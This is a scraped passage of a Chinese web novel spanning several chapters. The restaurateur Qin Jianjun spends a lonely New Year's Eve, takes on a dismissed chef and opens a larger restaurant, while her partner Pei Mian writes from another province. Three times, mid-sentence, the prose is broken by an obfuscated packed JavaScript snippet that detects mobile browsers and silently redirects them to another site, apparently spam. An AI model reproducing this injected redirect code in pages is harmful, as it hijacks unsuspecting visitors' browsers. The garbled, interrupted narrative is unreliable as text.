裴眠接过食盒,摇头道:“不委屈。” 隔着帷帽秦见君都能感受到他炙热的目光,于是点点头,两人于细雪中漫步回家。 屋子里燃上炭,僵硬的手脚渐渐活络起来。 裴眠将食盒里的菜都摆在桌上,问秦见君:“只有我们两人?” 秦见君坐在桌边用手撑着脑袋,淡淡道:“嗯,就我们两个人。” 杨甜与秦建业就在一墙之隔,但她不想与二人一起吃饭...... 看出秦见君的心情低落,裴眠也不多话,摆好菜后便坐下了。 秦见君看着桌上丰盛的菜肴,努力勾起嘴角露出一个笑来:“这就当是今年的团圆饭了,不算寒碜吧?” 裴眠摇摇头。 “来回忆一下珍馐楼主厨的手艺......”秦见君说着,夹了一块鸡肉入口,火候刚好,但肉质稍柴。她接连尝了好几道菜都感觉口味一般,并不如先前去珍馐楼那样惊艳。 不过这变化非常细微,舌头不敏感的百姓约莫是尝不出来的。 裴眠吃了两口便放下筷子,看着秦见君吃。 “怎么了?是不是不好吃?”秦见君问。 裴眠不说话,但眼神已经告知她了。 于是秦见君也放下了筷子:“还是我去做吧。” 裴眠连忙拉住她:“不必,能吃的。”说着,他又拾起筷子吃起来。 秦见君坐回位子上,看他吃了半晌,才开口道:“你会不会觉得我不叫娘和弟弟吃饭......有点冷血?” 裴眠咀嚼的动作停了一瞬,而后他迅速咽下去,抬头看向秦见君。 她脸上十分平淡,却隐约带着点落寞。 “并非每个人都要与爹娘亲昵的。”裴眠道。 秦见君微微点头道:“嗯......也不知道是因为亲缘浅还是因为别的什么......我不知道要怎么跟他们相处......” 裴眠想起杨甜身上未愈合的伤口,还有秦建业的那条断腿,打心底里觉得秦见君已经做得很好了。 秦见君似乎并不需要裴眠回答自己,她喝了口酒,继续道:“其实我觉得亲情也不是那么重要的,这世上有很多感情,只要足够强烈,就可以弥补其他缺失的感情......” 说着,她望向裴眠的眼睛,他眸子黑白分明,漂亮又冷静。 “我没有你看到的那么好......”秦见君眼神有些恍惚起来,酒意上头。 每到过年与中秋这种全家团圆的日子,她心中就不可避免地涌上悲伤,即便脸上挂着笑,心里也是极苦的。 但她的苦无人知晓,因为连她自己都不知道要如何纾解这种苦闷,不愿意加入人群,却希望有人靠近...... 如今被酒一醺,倾诉欲便愈发强烈。 “没有人会愿意靠近我的......因为你们看见的我是假的......”秦见君驼着背坐在桌边,与平日里的模样不同。 想要有人亲近,必要戴上虚伪的面具讨好他人,这是秦见君一贯以来待人处事的原则。 裴眠觉得自己好像揭开了冰山一角,他终于,似乎是更加靠近她了...... “只要你知道真实的我,就会走的......”秦见君垂着眸子,似是在自言自语,“大家都喜欢乐观的、温柔的人......没人会喜欢我......” “爸妈不喜欢......老师不喜欢......室友也不喜欢......”秦见君觉得眼眶有点酸,于是闭上眼试图缓解一下。可一闭上眼,脑海中就浮现起他们冷漠又嫌恶的目光,耳边也控制不住地响起那些尖锐的声音。 “扫把星。” “你知道她偷藏巧克力吃吗?一点都不知道分享。” “她就是超级自私的人啊,看她那双贼兮兮的眼睛,说不准还会偷东西呢!” “你听说了吗?前两天她们班的班费丢了,班长就是问了一下在不在她那里,她把班长的脸都抓花了!” “我没有.....”秦见君喃喃道。 她说的话裴眠有些听不懂了,只好上前抱起她,将她放在床上。 “裴眠?”不知何时,秦见君睁开眼看向裴眠。 “我在。”裴眠俯下身看着她,有一瞬间,他都不想走了,因为她眸子里有着快要溢出来的沉甸甸的情绪。 “裴眠......”她缓缓眨了眨眼睛,没坚持一会儿便睡过去了。 夜里她觉得周身冷极了,可眼皮又有千斤重,睁不开眼,便只能陷入一片无尽的黑暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023883|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中。 翌日醒来时,秦见君忍不住按了按太阳穴——感觉像没睡觉似的,好疲惫。 她转着眼睛看了一圈,屋子里只有自己,床上也只有自己睡觉的痕迹,裴眠已经走了吗? 昨夜发生了什么?她因为千喜寺和尚“亲缘浅”的话感到难受,然后喝了些酒,再然后呢? 秦见君完全想不起来后来的事了。 不过即便裴眠走了,日子还是要照过。 “明晚就是除夕了,中午不开张,只做夜里的团圆饭。”秦见君对众人道,“年后歇到初三,我打算去看看铺子。” “要换铺子吗?”袁芽问。 秦见君点头道:“换个大点的。” 沈婉回来后,沈勤忠也跟着回来了,前几日忽然来告知秦见君,酿酒权的事有了眉目,若是真能批复下来,铺子是一定要换的,到时还要多腾出个专门的酒窖才行。 众人听了都眼睛发亮,在含萃店赚的工钱只多不少,如今要开大店了,虽然忙,但日子也有了奔头。 秦见君拍了拍手道:“那就这样,大家收拾收拾回去休息吧,明天每桌团圆饭的上菜顺序全部都要盯住了,还有得忙呢,散了吧。” 除夕夜里绵州街头都换上了红灯笼,平雅街北效仿烟火大会开了几日夜市,规模虽小,但足够热闹,街上一片喜气洋洋。 “秦老板,我是不是最早来的?” 秦见君抬头,看见个相熟的食客拖家带口进了门,忙笑着道:“是最早的,先坐会儿,还是现在就上菜?” 食客一家由冯莲引到了事先定下的桌子边,他挥挥手道:“这会儿就上菜吧,吃完了带孩子们去街北逛逛。” “好。”秦见君应了一声,转身去了后厨。 今日是售卖团圆套餐,不必点菜,冯莲将人带到后就站在不远不近处候着。 “冯小娘。” 冯莲上前听。 那食客指了指大堂最大的圆桌道:“这桌是谁定的?真气派啊......” 冯莲顺着食客的手指看过去,回道:“梁小姐定的。” “梁小姐?哪个梁小姐?梁府那位?”食客惊讶道。 冯莲摇头,绵州梁府是富商人家,但那日来定桌子的小娘穿着朴素,看着并不如何显贵。 “那倒是猜不出哪位梁小姐了......”食客嘟囔着回头,被自家孩子吸引去了注意力。 随着天色渐黑,定了桌子的客人也一群群进来,店里变得热闹起来,墙边那个超大的圆桌却始终空荡荡的。 “姐姐,来的桌子都上好菜了,只剩最大的圆桌。”袁芽见大堂食客们正吃得高兴,便进后厨给秦见君汇报。 “人还没来?”秦见君问。 “没来呢,这么大桌子,定金可都不退的,不会不来吧?”袁芽想到那笔定金就替这位梁小姐心疼。 秦见君笑着摇了摇头,心道,怎么别人的钱,袁芽都有这么强的代入感? “阿君!阿君!”冯莲焦急的声音由远及近。 秦见君忙放下手头的活望过去。 冯莲几乎是跑着进了后厨:“珍馐楼的房大厨来了!” “房大厨?”秦见君讶然。 冯莲一边喘气,一边点头道:“是房大厨,拎着包袱,头上还流着血!” 77.第 77 章 “怎么弄成这样?”秦见君问。 方才听冯莲说房大河头上在淌血,她并无实感,如今眼睁睁看着他头破血流,恐慌才慢慢爬上心头。 房大河用胖手抹了一把头上的血,憋着口气道:“他们诬陷我偷喝酒,将我打出了酒楼。” 这么流着血站在大堂不像话,秦见君将人带去了后厨。 房大河到了后厨,先是巡视了一圈,而后才开口说话。 “我前段日子与珍馐楼老板的远房亲戚起了口角,他便回去撺掇老板诬陷我偷喝酒,将我赶了出来。” 他言简意赅,但其中污糟即便不多言,秦见君也能想到一二。 “你走了,珍馐楼的后厨怎么办?”秦见君问。 房大河咬牙切齿道:“后厨被那畜生占了去,他们原就是想将我挤出来,好独占后厨!” 秦见君心下了然,那老板的远房亲戚也是个厨子——难怪那天从珍馐楼带回去的饭菜味道一般呢...... “你......如今有什么打算?”嘴上这么问着,秦见君心里却有了猜测。 房大河不是傻子,这几个月来含萃店无论口碑还是名气,都已覆盖了整个绵州,生意蒸蒸日上,想做大做强不过是时间问题。 房大河从前东家那儿出来,头上血都没擦干净就来了含萃店,总不会只是来“诉说冤屈”的...... “我......听闻你年后要换铺子,到时候店做大了,你一人也忙不过来......”说这话时,房大河的神色有些紧张,但又极力假装轻松。 果然,秦见君勾了勾唇角——房大河想来含萃店做厨子。 “你先去把头上的伤处理一下吧,就算要招厨子也是年后的事,你这会儿跑过来也没用。”秦见君没将话说死,但也并未当场答应。 房大河看了她半晌,才慢慢吞吞出了后厨。 “姐姐,要招他做厨子吗?”袁芽有些不高兴地瞪着房大河远走的背影。 “再说吧,他确实有好手艺,但脾气......”秦见君叹了口气,房大河手艺不错,但脾气暴躁,她怕自己的小店容不下大佛。 “阿君,梁小姐来了。”冯莲喊了一声。 店里最大的单子终于来了,但秦见君却听到了减菜的要求。 “这几道都不要了?”秦见君向冯莲确认。 “是的,都不要。”冯莲道,“梁小姐一家就三口人,说是那么大桌菜吃不完也是浪费,银钱照给,让我们不必做那么多。” 秦见君手下切着菜,嘴里道:“让小芽算清楚,不要的菜都不收银钱。” 冯莲点点头出去了。 夜有些深了,大堂只剩梁温这一桌,她带着夫君与四岁的孩子坐在偌大的圆桌旁,显得有些寂寥。 “爹不来,我们自己吃吧。”梁温表情不算明朗,嘴角的弧度也十分勉强。 曹扬轻声安慰道:“今年不成,明年再请,小初还看着呢,别让孩子担心......” 梁温低头看了看趴在自己腿边的曹初,伸手揉了揉他的脸蛋,柔声问:“小初饿不饿?” 四岁大的男孩正是对什么都好奇的时候,明亮的眸子转来转去,对含萃店内的陈设很感兴趣。 秦见君端着菜出来,就看见一个漂亮的孩子正踮脚扒在窗台边,伸手去碰窗外的叶子。 “菜上齐了,慢用。”秦见君放下菜碟道。 眼前的一对小夫妻长得都很出众,难怪能生出那么漂亮的孩子。 “小初,吃饭了。” 曹初迈着小短腿回到桌边,秦见君顺手将他抱上了凳子,正要收回手,却没想到被小家伙抓住了袖子。 “姨姨。” 小孩不哭不闹不尖叫,又长得漂亮,秦见君对他印象很好,于是蹲下身问:“怎么了?” 小孩扭着屁股回头看了梁温一眼,又转过身来,神神秘秘地将小手拢在嘴边,用气音道:“我娘亲不高兴,我想给娘亲吃糖。” 于是秦见君也用气音道:“那我带你去找糖好不好?” 曹初点点头,而后想起什么似的回头望向梁温。 梁温不知道两人在说什么,但秦见君在绵州的名气还是很大的,她并不担心秦见君会对孩子做什么,于是由着她抱曹初去了后厨。 先前店里常常备着秦见君自制的麦芽糖块,用来哄孩子,但除夕过后店里要关几日,于是秦见君便将糖块都收起来了。 她一边翻找糖块,一边问曹初:“娘亲为什么不高兴啊?” 曹初乖乖站在一旁看她翻找,也不乱碰,奶声奶气道:“娘亲想请外祖吃团圆饭,外祖不来,娘亲就不高兴。” 秦见君从柜子里取出装着麦芽糖的罐子,一边拆封一边随口问:“外祖为什么不来呀?” 曹初歪了歪小脑袋,道:“外祖不喜欢小初,外祖说小初是......”他似乎有些记不清原话是如何了,只能含糊道,“小初是野孩子......是外面的姓的孩子......” 曹初的话有些颠三倒四,但秦见君听懂了,拿糖块的手不禁一顿,试探道:“你外祖是谁?” “是烟火!砰!”提起这个,曹初有些兴奋起来,小嘴也开始叨叨叨,“桥上有烟火!是外祖放的!” 原来真是第一个买“烟火冠名权”的那个梁家啊...... 秦见君将三四块糖放在掌心,蹲下身递到曹初面前,道:“要哪个?” 这问题对孩子来说是刁钻的,小孩子仍在“以自我为中心”的意识阶段,面对一堆自己想要的糖块,多数孩子都会想着全都要。 但曹初却指着最大的那块问:“要多少钱?” 秦见君愣了一瞬,而后笑道:“不要钱,你挑一个送给娘亲。” 曹初听了,顿时笑容灿烂,有些不好意思似的指了指最大的糖块。 秦见君便将糖块放入了孩子又小又柔软的掌心。 “娘!吃糖!”小孩举着糖块从后厨飞奔出去,稚嫩的声音传遍了后厨与大堂,为稍显清冷的夜增添了一丝暖意。 秦见君撑着脑袋站在柜台边看一家人吃饭,心中百味杂陈。 一家三口温馨地坐在一起吃团圆饭,这样简单的愿望,她许了两世也未实现。 在这万家团聚的日子,她又不免想起韩思霖,而后又记挂起裴眠来。 窗外的寒风似是刮不尽,一路从街头到巷尾,呼啸着向千里之外去。 “郎君,这鸭子真的能吃吗?连大人的手艺实在是......”裴小之对着锅里卖相极差的鸭汤嘟囔。 裴眠闻到鸭汤里散发出的腥味,觉得整个人都不好了。 “大人!我拿酒来了!可以吃了!”连立山拎着酒坛子从门外进来,肩头还堆着白雪,嘴边白汽阵阵。 裴小之眼睛一转,对靠在窗边抱臂而立的袁原道:“袁原,来喝鸭汤!” 袁原走近,看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033056|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅里一坨散发着腥味的不明物体,忍不住蹙眉退了半步。 “袁原,这可是连大人亲手炖的鸭汤!快尝尝!”裴小之起身去拉袁原。 袁原转头对上连立山和蔼的眼神,身子都僵住了,迟疑了半晌,又望向裴眠。 裴眠抬手握拳抵在鼻尖处,将脸转了过去,不与袁原对视。 袁原视死如归地盛了碗鸭汤,入口的瞬间差点把隔夜饭都哕出来,好在是专业素养过硬,生生忍住了。 裴小之看得忍不住整张脸都皱起来了——这鸭汤袁原都受不住,会不会毒死我啊...... 这边连立山已经盛起了第二碗,裴小之还没来得及拒绝,就听裴眠道:“咳......忽然想起,我还有封信未回,待会儿再过来。” 说着,裴眠披上大氅打开了屋子门。 连立山忙道:“除夕夜还回什么信?天大的事明日再说吧?” 裴眠头也不回:“是绵州来信。” 连立山知晓是秦见君的来信,便也不拦了,转头望向裴小之。 裴小之欲哭无泪——哪来的绵州来信?秦小娘的信郎君次次都是即看即回的,何时忘过? “小之,来喝口热的!”连立山豪爽道。 裴小之只好含泪饮毒,心中祈盼着还能见到明年的太阳...... 裴眠独自回了住处,从柜子中取出厚厚一沓信件,回到书案边坐下。 信件上的字迹都是同一个人的,从一开始的歪歪扭扭到如今工整干净,能看出写信之人从生疏到熟练的过程。 裴眠随手拆开一封,展信阅读起来。 信中秦见君提到沈婉又来找她聊天,说是南下遇到赵浅聿时,恰好赵浅聿在被仇家跟踪,为了保护沈婉,便装作不认识她。 可沈婉高兴过头,丢了平日里察言观色的技能,不管不顾地与赵浅聿相认,赵浅聿怕仇家盯上她,于是亲自护送了一路。 回到绵州后,沈婉惊奇地发现,自己无论走到哪里,都容易与赵浅聿“偶遇”,次数过多,她都忍不住有些怀疑起来...... 裴眠折好信纸,又拆开另一封,信中秦见君画了很多铜板和碎银,说脚店的生意很好,年后要换铺子,开酒楼。还说自己认识了沈勤忠,沈勤忠正忙着帮她拿酿酒权,她猜测这其中也有沈婉的授意...... 信件很多,每一封都写得满满当当,大多是以日常开头,再以诉说思念结束。 裴眠看了一会儿,小心地将信件都收好,再存放回柜子中。 想起这一年来的际遇,他感到心情复杂——世事无常,当初坐在轮椅上离开虔渊州时,任谁也想不到他竟会来叶水州治田。 但心境不同,抉择也就不同了。 裴眠缓缓吐出一口气,望向窗外的雪,隐约能听到隔壁裴小之的叫嚷声,他感到心中异常平静——父母健在,好友在侧,爱人虽远隔千里,却心心相连,手头的事也在有序推进,他竟不知自己居然还能有偷得浮生半日闲的时候。 与此同时,秦见君已经饱餐一顿躺在床上了。 明日开始休息,她打算先睡个好觉,却辗转反侧不能入眠。 因为怕冷,她在床上多垫了一床被子,躺在上面又软又暖,却怎么也睡不着。 秦见君伸手搭在另一只枕头上,将枕头竖着抱入怀中,心中默念:这是裴眠这是裴眠这是裴眠...... 如此催眠自己半宿才睡了过去。 78.第 78 章 秦见君几乎睡了两日,除吃饭上茅厕外都待在床上。 大年初三时总算是睡饱了,她早早起床去了平雅街。 “闵老板,看见沈老板没?”秦见君拢住自己脖颈处的毛领问,这天太冷了,寒风无孔不入,她刚从屋子里带出来的热气没一会儿就被吹凉了。 中年男人抽出揣在袖子里的手道:“方才还看见沈老板朝那头去了......” 秦见君一路走,一路问,总算找到了沈勤忠。 “沈老板,我在平雅街上转了一圈,好像没有很合适的铺子,街南有几个楼看着还行,就是不知道铺子开在街南方不方便?” 秦见君并未明说,但两人心里都清楚,她如今的店面开在街北,又与沈府的沈婉交好,街上人都默认她是沈勤忠一派的了,若是这会儿将铺子开到刘与叶的街南地界去,怕是不妥。 果然,沈勤忠蹙起眉道:“街南不方便。” 秦见君叹了口气,街北发展不如街南,都是些小而窄的铺面,要想租下珍馐楼那样的,只能去街南...... “我再去看看吧。”秦见君说着就要走,却被沈勤忠喊住了。 “珍馐楼斜对角那家当铺你去看过没?” “当铺?”秦见君回忆了一下,想起来了,“我是要去看的,但当铺的老板说已经有人定下了。” “我定的。”沈勤忠道,“原想着再开一家成衣铺子,如今看来,你的酒楼更要紧些。” 街南与街北对垒这么久,沈勤忠心中的一根刺便是珍馐楼。 如今正是和平年代,百姓安居乐业,吃酒玩乐的行业兴起,往后前景也一片光明。 从前街北苦于无人能撑起酒楼,眼下好不容易出个秦见君,沈勤忠定是要想法子将她扶起来,与珍馐楼分一杯羹的。 秦见君曾在门口张望过那当铺,上下两层,听闻后头还带院子,虽然没有珍馐楼那么高、那么大,但对事业刚起步的秦见君来说,也算是很不错了。 “我去当铺先看看,要是合适,我再回来找您谈租金。”秦见君道。 沈勤忠点头,看得出秦见君不是那种有点小钱就骄傲自满的人,看新铺子也足够细心谨慎,他心中便愈发满意起来。 下午秦见君在当铺转了一圈,觉得比自己想象的好上许多。 铺子两层高,里头足够宽敞,一层除去柜台与厨房还能摆下十余张桌子,二层就更不必说了。 她最满意的是后头的院子,院子里房间多,可以收拾出来放酒坛子。 沈勤忠给出的租金价格并不贵,也并未刻意削价,而是以市面价报给了秦见君。 “姐姐,以后这里就是我们的新铺子了?”袁芽进了当铺,左摸摸右碰碰,新奇得不行。 秦见君站在门口,看着宽敞的铺子,道:“嗯,这里就是新铺子,到时候把这柜子都打掉,重新做个柜台,柜台后面嵌架子,摆上酒......” 袁芽与冯莲跟在秦见君后头听她的规划,越听越兴奋。 “阿君......你真的能开酒楼了......”冯莲眼底有些湿意。 秦见君好笑道:“这才哪儿到哪儿?酿酒权都没到手,等有了酿酒权,我们就能跟其余的脚店打通交易网,到时候食材进货、食谱学习、客源共享......我要开绵州最大的酒楼,比珍馐楼还大。” 她说这话时眼神中都是坚定,腰背挺直,气势十足。 冯莲看得眼热,连袁芽都静下来看着她。 “阿君......”冯莲忍不住问,“你为什么想开酒楼?” 秦见君转头望向她,默了会儿才缓缓道:“因为人对食物的嗅觉、触觉、味觉、视觉等,都会潜入记忆中,来酒楼吃饭,有以庆祝为目的的,也有以哀悼为目的的,无论是哪种目的,如果能通过桌上的美食加深记忆,保存住哪怕一时半刻的美好,也是很值得的......” 就如同她,靠着当年在含萃楼与孙先生、文女士吃饭时感受到的温暖美好,一直坚持到现在。 她仍然记得那天透过窗户洒在桌上的阳光有多温柔,也记得每样精致食物带给她的视觉与味觉冲击。 她从来不知道,这世上还有这么漂亮又好吃的食物,也不知道原来吃饭的时候会有人给自己夹菜,自己完全不必时刻盯着食物,提心吊胆怕别人抢先一步夹走...... 虽然后来孙先生与文女士离开了,但留在秦见君心中的记忆却温暖如初。 彼时韩思霖问她,为什么想学做菜,她记得自己的回答中二得要命。 “我想创造更多幸福的记忆,就算这些记忆并不属于我。” 酒楼在她看来,是一个可以创造幸福记忆的地方,而她想做那个见证者,即便是旁观,也能让她感到满足。 冯莲不懂秦见君的情感,但她脸上的向往与坚定却感染了冯莲。 “我们何时搬到这边来啊?”袁芽问。 秦见君默默算了会儿,道:“怎么也要一个多月,我先去请师傅来估算一下,看看要怎么装修......” 于是接下来的半个月,秦见君除了脚店生意,还要四处奔波找工匠重新装修铺子。 好在房大河帮了许多忙,虽然肥胖,但看着并不虚,往铺子里一站,施工的师傅们都不敢懈怠,花了一个多月便将铺子装好了。 房大河这段时日令秦见君刮目相看,她从前只觉得他是个脾气暴躁且心眼极小的厨子,没想到在酒楼布局安排上很有见解,许多秦见君都未发觉的漏洞,都被他揪了出来一一排查。 待新铺子完工,秦见君便也定了主意,打算将房大河招进来做厨子。 “先说好,含萃店每次上新菜都要大家试菜的,只有大家都说好才能上,不是我一言堂,也不是你随意就能定的。”秦见君道。 房大河意外地好说话,点头道:“这样最好。” 秦见君看他脸上并无愠色,便继续提醒道:“如果你做的菜,我们觉得不好吃,你可不能发脾气。” 房大河的脸红了点,随即道:“我尽量。” 这段日子他替秦见君跑前跑后,没少在含萃店蹭饭,对秦见君的手艺是心服口服的,想着店中众人的嘴怕是都被秦见君养刁了,看不上自己做的菜也不是没可能...... 他支吾了会儿,嘟囔着问:“那若是我想做秦小娘的菜色,能学吗?” 他字句黏糊,秦见君仔细听才辨认出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042934|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的什么,顿时笑了:“你想学我就教,但我先说好,待会儿我们要签契约的,你在含萃店期间学的所有菜,以后出了含萃店都不许单独做......” 房大河听到这儿是十分理解的,大荆厨子自创的菜谱都是可以写下来售卖给其他酒楼的。 秦见君要签这契约没问题,他正要点头,又听秦见君道:“不过我的手艺你要是学走了,那就是你的本事,以后出去了随便用。” 房大河感觉头脑发晕,他原先想的是秦见君只会教他做个别菜色,其中奥秘定要自己去琢磨参悟,如今听秦见君的意思,她并未有藏私的心思,而是要倾囊相授! “我......”房大河也顾不上年纪大小了,俯身就要跪,吓得秦见君连忙将他拉了起来。 “你做什么?” “拜师!”房大河的膝盖还半弯不弯的。 秦见君摇头道:“不急,先看看你能不能学会,我觉得你能学我再收。” 学做菜没问题,但她可不想以后房大河顶着自己徒弟的名号出去丢人...... 新厨子定下来了,但秦见君还是很忧虑,如今的大店铺与先前的小铺子差得可不是一星半点儿,即便多一个厨子,怕是也忙不过来。 房大河似是看出她的苦恼,试探道:“先前我从珍馐楼出来时,有几个厨子、帮厨,也跟着出来了......” 秦见君抬头看向他,他连忙解释:“都是这么多年的好兄弟,手艺也都不错,当时逞一时意气跟着我出了珍馐楼,眼下绵州的酒楼都不敢收我们......我想着你要是缺人就先用着......若是实在不满意,到时候再换......” 秦见君倒是觉得挺惊喜的,要知道新厨子与帮厨之间也是需要磨合的,房大河这是相当于带了一整个成熟的团队过来,只需要自己稍加修整就可以用了,方便得很。 但她面上仍是不显,只淡淡道:“明天叫他们过来,我先看看,能行的话就留下。” “好好!”房大河眉开眼笑地应着,转身便跑出去通知兄弟们了。 秦见君看他压根藏不住喜悦的背影,忍不住怀疑这人是不是黑切白,难怪长得凶神恶煞的,还能被人诬陷设计赶出珍馐楼...... “姐姐!”袁芽从外头跑进来,脸上还带着笑。 她将一封信与一个用布包着的小木盒递给秦见君,道:“叶水州来信。” 秦见君拆了布包,取出小木盒看了看,觉得新奇。 先前她与裴眠都只是书信往来,并未送过什么东西,难怪此次信件晚了好几日。 “姐姐快看看是什么!”袁芽兴致勃勃地守在一旁催促。 秦见君便将信放在一边,打开了木盒——里面放着一本空着封皮的小册子。 “这是什么?”秦见君将小册子拿起来打开一看,顿时僵在原地。 袁芽好奇得不行,忙凑过去看,秦见君反应极快地将小册子重新合上,“啪”的一声,差点夹到袁芽的睫毛,她惊魂未定地看向秦见君:“姐姐,什么呀?” 秦见君心脏直跳,她也有些摸不准,毕竟这实在不像裴眠的作风,他居然...... 送了避火图来! 79.第 79 章 秦见君将避火图捂在胸口,不让袁芽看,心里乱糟糟的:裴眠这是做什么?忽然这么奔放? “秦小娘!”莺儿拿着信与布包盒子跑进了店里,急急忙忙的,鼻头被寒风吹得通红。 “怎么了?” 莺儿进了大堂,猛喘了几口气才道:“袁小娘拿错......拿错信了!” 秦见君低头瞥了一眼胸口的避火图,有些疑惑。 “这......这是秦小娘的,那信使匆忙,将两份信送错了......”莺儿将信封与布包盒子举起。 秦见君这才发觉,莺儿手上的布包盒子与自己方才收到的布包花纹十分相似,她忙转头去看信——信上写的是沈婉的名字,字迹也是秦见君不认识的。 她立刻如扔烫手山芋般将避火图放回盒子里,用布包好,还给了莺儿。 “乌龙了乌龙了,还好信封我没拆开......”秦见君抱住属于自己的信封与盒子,眼睛还有些慌乱地瞟了莺儿手上的木盒几眼。 谁给沈婉送避火图啊? “这......这是谁给你们家小姐送信啊?”秦见君状似不经意地问。 莺儿的脸皱了起来,叹气道:“许是知州大人......” “绵州知州?那个......”秦见君想了一会才记起来那人的名字,“殷祈安?” 莺儿不敢直呼知州名讳,只能点点头道:“他总给小姐写信送东西,小姐不收,他便上门去......我们小姐还没许人家呢,他这样上门,外头还不知会传成怎样......” 秦见君听了,蹙起眉来,想起盒子里的避火图,眉头便蹙得更深了。 莺儿并未久留,抱着信封与盒子离开了。 秦见君回了后厨,放下布包盒子,先拿起了信封。 信封上是裴眠的字迹,工整漂亮,秦见君松了口气,将信封拆开取出信纸。 信中裴眠说年前通了路,叶水州百姓出去做生意有了点收入,今年也愿意再试一次种稻,打算二月天晴时播种。 裴眠在信的最后提到了布包盒子,说是自己亲手做的,所以耽误了这么久才送过来。 秦见君折好信,放回信封中,拆开一旁的布包。木盒通体漆黑、雕花精致,她抬手打开木盒,里面静静躺着一枚玉佩。 这玉佩与她腰上挂的样式不同,形状雕刻很粗糙,但磨得很圆滑,完全不硌手。 她将玉佩捧到眼前仔细看着,越看越喜欢,当即便将腰间的玉佩取了下来,换上了新玉佩。 午后沈勤忠来了含萃店。 “投票?”秦见君问。 沈勤忠抿了一口秦见君自己酿的酒,面露满意,点头道:“酿酒权一年一换,交替落在我同刘与叶手中,不过先前苦于街北没有酒楼,即便酿酒权到我手中,我也只能给珍馐楼,今年不同了......” 秦见君不解道:“那为什么要投票?不能直接给我?” 沈勤忠轻叹了声道:“刘与叶身后是赵广涵,这大荆不说全部,至少大半的酒楼都在赵广涵手中,酿酒权明面上说是今年由我掌控,可我只能争取到投票,并无直接定下酒楼的资格。” 秦见君点头,这是常事,酒楼是赚钱的生意,而酿酒权又由朝臣把握,怎么能忍得住不插一脚呢? “投票的话我需要注意什么吗?”秦见君问。 沈勤忠摇头:“无需注意什么,安心做你的营生,有投票权的都是绵州的商户,平雅街我同刘与叶对半分,其余散户又对你的含萃店赞不绝口,想来问题不大。” 秦见君点点头,又问:“那什么时候投票?” “入夏,入夏时节投票,年年如此。”沈勤忠将话带到,放下酒杯要离开,低头时瞥到秦见君腰间的玉佩,忍不住道,“这玉佩哪里买的?” 秦见君低头看了一眼,问:“怎么了?” 沈勤忠蹙眉道:“玉是上好的玉,就是雕玉的人手艺不如何,怎么不寻老手师傅雕?白白毁了一块玉。” 秦见君听了,反驳道:“怎么就毁了玉?我觉得挺好看的......” 沈勤忠奇怪地看了秦见君一眼,随即又眯起眼,问:“这怕不是你那情郎送的?” 秦见君也不遮掩,大大方方的:“是啊。” 沈勤忠这才收了审视的目光,挑挑眉道:“雕得还行吧,我先走了,你只需好好经营铺子,别坏了名声就好。” 秦见君点头将他送出了店。 二月中旬,叶水州的稻苗下了地,珍馐楼斜对角的含萃楼也开张了。 “秦小娘生意兴隆啊!”食客脸上带着诚心的笑,从冯莲端着的托盘中取了糖块便往里走。 秦见君点头应着,招呼着客人们进门。 房大河带着他的兄弟们在原先的含萃店后厨苦学了一个多月,总算是得到了秦见君的认可。新的菜单上也有了他自创的两道菜,他心满意足地颠着锅。 “房哥!这含萃楼怕不是要火过珍馐楼!从前珍馐楼削价也就这场面了!”身旁的帮厨冲房大河喊道。 后厨一片热火朝天,房大河额头隐隐冒出汗来,忙用毛巾擦干了,转头对帮厨道:“你少说话!秦小娘说了多少次?你说话喷口水,不许在后厨乱喷!” 帮厨委屈地闭上嘴,低头切菜去了。 房大河抽空朝门口望了望,瞧见人头攒动的影子在窗外晃动,心中也是阵阵发喜。 秦见君为了让食客放心,便想将后厨的情景展现出来,于是将后厨连接大堂的窗户全改成了琉璃制的,虽不如现代的玻璃清晰透明,但模糊人影还是能看清,且采光也极好。 路过后厨的客人们第一次见这么“大方”的酒楼,有些还驻足观望。 新来的伙计怕走道阻塞,忙去问覃涛:“涛哥,这几位食客围在后厨边不走......” 覃涛忙着端盘子,嘴上极快地叮嘱道:“由他们看去,引食客进来的时候尽量不要走那边就行了。” 开张前夜,秦见君开会时说过这个问题,只要情况还在可控范围内,就不必干预食客的行为。 覃涛知晓自己笨,于是将秦见君说的话都记下了,昨夜回家还看了一整夜,如今刚好派上用场,慌乱了一早上的心也渐渐平息下来。 开张仪式结束后,秦见君便赶忙回了后厨,看到房大河他们有条不紊地忙着,心里才放松了些。 “秦老板,外头多少人啊?”有人一边颠锅一边问。 秦见君洗了手,穿上围裙道:“怕是要连着忙到晚饭,大家坚持一下,今天忙完会加工钱。” 后厨爆发出欢呼声,厨子们脸上都带着笑,隔着油烟气,秦见君的眼角眉梢也染上笑意。 